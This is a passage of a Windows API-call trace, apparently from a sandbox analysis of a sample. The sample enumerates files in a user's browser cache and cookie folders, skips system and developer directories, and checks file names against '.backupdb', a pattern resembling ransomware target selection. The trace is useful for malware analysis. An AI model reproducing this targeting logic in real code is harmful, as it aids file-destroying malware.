HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0tCi[1].jpg", cchLength=0x7f | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0tci[1].jpg") returned 0x7f [0120.503] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0120.503] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0120.503] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0120.503] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0120.503] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0120.503] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0120.503] lstrcpynW (in: lpString1=0x14b4794, lpString2="BBBVGyR[1].jpgH", iMaxLength=15 | out: lpString1="BBBVGyR[1].jpg") returned="BBBVGyR[1].jpg" [0120.503] GetLastError () returned 0x0 [0120.503] VarBstrCmp (bstrLeft="yR[1].jpg", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.503] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="姴", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x2c4, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0120.503] GetLastError () returned 0x0 [0120.503] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0120.504] NtQueryInformationFile (in: FileHandle=0x2c4, IoStatusBlock=0x18eb08, FileInformation=0x14df9e0, Length=0x10002, FileInformationClass=0x9 | out: IoStatusBlock=0x18eb08, FileInformation=0x14df9e0) returned 0x0 [0120.504] GetLastError () returned 0x0 [0120.504] lstrcpynW (in: lpString1=0x144bb04, lpString2="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY", iMaxLength=110 | out: lpString1="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY") returned="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY" [0120.504] GetLastError () returned 0x0 [0120.504] CloseHandle (hObject=0x2c4) returned 1 [0120.504] GetLastError () returned 0x0 [0120.504] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0120.504] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVGyR[1].jpg", cchLength=0x7f | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvgyr[1].jpg") returned 0x7f [0120.504] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0120.504] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVGyR[1].jpg", cchLength=0x7f | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvgyr[1].jpg") returned 0x7f [0120.504] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0120.505] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVGyR[1].jpg", cchLength=0x7f | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvgyr[1].jpg") returned 0x7f [0120.505] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0120.505] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVGyR[1].jpg", cchLength=0x7f | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvgyr[1].jpg") returned 0x7f [0120.505] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0120.505] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVGyR[1].jpg", cchLength=0x7f | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvgyr[1].jpg") returned 0x7f [0120.505] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0120.505] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVGyR[1].jpg", cchLength=0x7f | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvgyr[1].jpg") returned 0x7f [0120.505] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0120.505] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0120.505] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0120.506] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0120.506] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0120.506] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0120.506] lstrcpynW (in: lpString1=0x1445ffc, lpString2="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", iMaxLength=66 | out: lpString1="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0" [0120.506] GetLastError () returned 0x0 [0120.506] VarBstrCmp (bstrLeft="716359AF0", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.506] lstrcpynW (in: lpString1=0x143353c, lpString2="modernizr[1].js", iMaxLength=16 | out: lpString1="modernizr[1].js") returned="modernizr[1].js" [0120.506] GetLastError () returned 0x0 [0120.506] VarBstrCmp (bstrLeft="izr[1].js", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.506] lstrcpynW (in: lpString1=0x14b46bc, lpString2="cb=gapi[1].loaded_1", iMaxLength=20 | out: lpString1="cb=gapi[1].loaded_1") returned="cb=gapi[1].loaded_1" [0120.507] GetLastError () returned 0x0 [0120.507] VarBstrCmp (bstrLeft=".loaded_1", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.507] lstrcpynW (in: lpString1=0x1445ffc, lpString2="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", iMaxLength=66 | out: lpString1="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB") returned="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB" [0120.507] GetLastError () returned 0x0 [0120.507] VarBstrCmp (bstrLeft="BFA0392EB", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.507] lstrcpynW (in: lpString1=0x14cf144, lpString2="activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", iMaxLength=78 | out: lpString1="activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm") returned="activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm" [0120.507] GetLastError () returned 0x0 [0120.508] VarBstrCmp (bstrLeft="13[1].htm", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.508] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="姺", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x2c4, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0120.508] GetLastError () returned 0x0 [0120.508] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0120.508] NtQueryInformationFile (in: FileHandle=0x2c4, IoStatusBlock=0x18eb08, FileInformation=0x14df9e0, Length=0x10002, FileInformationClass=0x9 | out: IoStatusBlock=0x18eb08, FileInformation=0x14df9e0) returned 0x0 [0120.508] GetLastError () returned 0x0 [0120.508] lstrcpynW (in: lpString1=0x1445ffc, lpString2="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR", iMaxLength=110 | out: lpString1="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR") returned="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR" [0120.508] GetLastError () returned 0x0 [0120.508] CloseHandle (hObject=0x2c4) returned 1 [0120.509] GetLastError () returned 0x0 [0120.509] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0120.509] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", cchLength=0xbe | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm") returned 0xbe [0120.509] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0120.509] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", cchLength=0xbe | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm") returned 0xbe [0120.509] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0120.509] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", cchLength=0xbe | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm") returned 0xbe [0120.509] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0120.509] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", cchLength=0xbe | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm") returned 0xbe [0120.510] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0120.510] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", cchLength=0xbe | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm") returned 0xbe [0120.510] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0120.510] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm", cchLength=0xbe | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm") returned 0xbe [0120.510] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0120.510] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0120.510] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0120.510] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0120.510] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0120.510] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0120.510] lstrcpynW (in: lpString1=0x143353c, lpString2="EXCEL.EXE-F0766CF1.pf", iMaxLength=22 | out: lpString1="EXCEL.EXE-F0766CF1.pf") returned="EXCEL.EXE-F0766CF1.pf" [0120.510] GetLastError () returned 0x0 [0120.511] VarBstrCmp (bstrLeft="766CF1.pf", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.511] lstrcpynW (in: lpString1=0x144bb04, lpString2="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", iMaxLength=66 | out: lpString1="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778") returned="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778" [0120.511] GetLastError () returned 0x0 [0120.511] VarBstrCmp (bstrLeft="057155778", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.511] lstrcpynW (in: lpString1=0x146ad84, lpString2="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", iMaxLength=66 | out: lpString1="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778") returned="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778" [0120.511] GetLastError () returned 0x0 [0120.512] VarBstrCmp (bstrLeft="057155778", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.512] lstrcpynW (in: lpString1=0x144bb04, lpString2="5p5nrgjn0js_halpmcxz@doubleclick[2].txt", iMaxLength=40 | out: lpString1="5p5nrgjn0js_halpmcxz@doubleclick[2].txt") returned="5p5nrgjn0js_halpmcxz@doubleclick[2].txt" [0120.512] GetLastError () returned 0x0 [0120.512] VarBstrCmp (bstrLeft="ck[2].txt", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.512] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="墑", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x2c4, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0120.513] GetLastError () returned 0x0 [0120.513] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0120.513] NtQueryInformationFile (in: FileHandle=0x2c4, IoStatusBlock=0x18eb08, FileInformation=0x14e19e0, Length=0x10002, FileInformationClass=0x9 | out: IoStatusBlock=0x18eb08, FileInformation=0x14e19e0) returned 0x0 [0120.513] GetLastError () returned 0x0 [0120.513] lstrcpynW (in: lpString1=0x146ad84, lpString2="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", iMaxLength=74 | out: lpString1="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0120.513] GetLastError () returned 0x0 [0120.514] CloseHandle (hObject=0x2c4) returned 1 [0120.514] GetLastError () returned 0x0 [0120.514] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0120.514] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt", cchLength=0x74 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt") returned 0x74 [0120.514] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0120.514] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt", cchLength=0x74 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt") returned 0x74 [0120.514] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0120.514] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt", cchLength=0x74 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt") returned 0x74 [0120.515] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0120.515] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt", cchLength=0x74 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt") returned 0x74 [0120.515] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0120.515] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt", cchLength=0x74 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt") returned 0x74 [0120.515] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0120.515] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt", cchLength=0x74 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt") returned 0x74 [0120.515] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0120.515] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0120.515] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0120.515] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0120.515] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0120.515] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0120.515] lstrcpynW (in: lpString1=0x1445ffc, lpString2="Microsoft.Activities.Build.ni.dll", iMaxLength=34 | out: lpString1="Microsoft.Activities.Build.ni.dll") returned="Microsoft.Activities.Build.ni.dll" [0120.515] GetLastError () returned 0x0 [0120.516] VarBstrCmp (bstrLeft="ld.ni.dll", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.516] lstrcpynW (in: lpString1=0x143353c, lpString2="cb=gapi[2].loaded_0", iMaxLength=20 | out: lpString1="cb=gapi[2].loaded_0") returned="cb=gapi[2].loaded_0" [0120.516] GetLastError () returned 0x0 [0120.516] VarBstrCmp (bstrLeft=".loaded_0", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.516] lstrcpynW (in: lpString1=0x144bb04, lpString2="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", iMaxLength=66 | out: lpString1="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB") returned="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB" [0120.516] GetLastError () returned 0x0 [0120.517] VarBstrCmp (bstrLeft="BFA0392EB", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.517] lstrcpynW (in: lpString1=0x14cf24c, lpString2="activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", iMaxLength=73 | out: lpString1="activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm") returned="activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm" [0120.517] GetLastError () returned 0x0 [0120.517] VarBstrCmp (bstrLeft="21[1].htm", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.517] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="娂", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x2c4, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0120.517] GetLastError () returned 0x0 [0120.517] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0120.517] NtQueryInformationFile (in: FileHandle=0x2c4, IoStatusBlock=0x18eb08, FileInformation=0x14e19e0, Length=0x10002, FileInformationClass=0x9 | out: IoStatusBlock=0x18eb08, FileInformation=0x14e19e0) returned 0x0 [0120.518] GetLastError () returned 0x0 [0120.518] lstrcpynW (in: lpString1=0x144bb04, lpString2="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8", iMaxLength=110 | out: lpString1="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8") returned="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8" [0120.518] GetLastError () returned 0x0 [0120.518] CloseHandle (hObject=0x2c4) returned 1 [0120.518] GetLastError () returned 0x0 [0120.518] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0120.518] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", cchLength=0xb9 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\activityi;src=2542116;cat=chrom00;type=clien612;ord=2366422437621[1].htm") returned 0xb9 [0120.518] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0120.518] CharLowerBuffW (in: 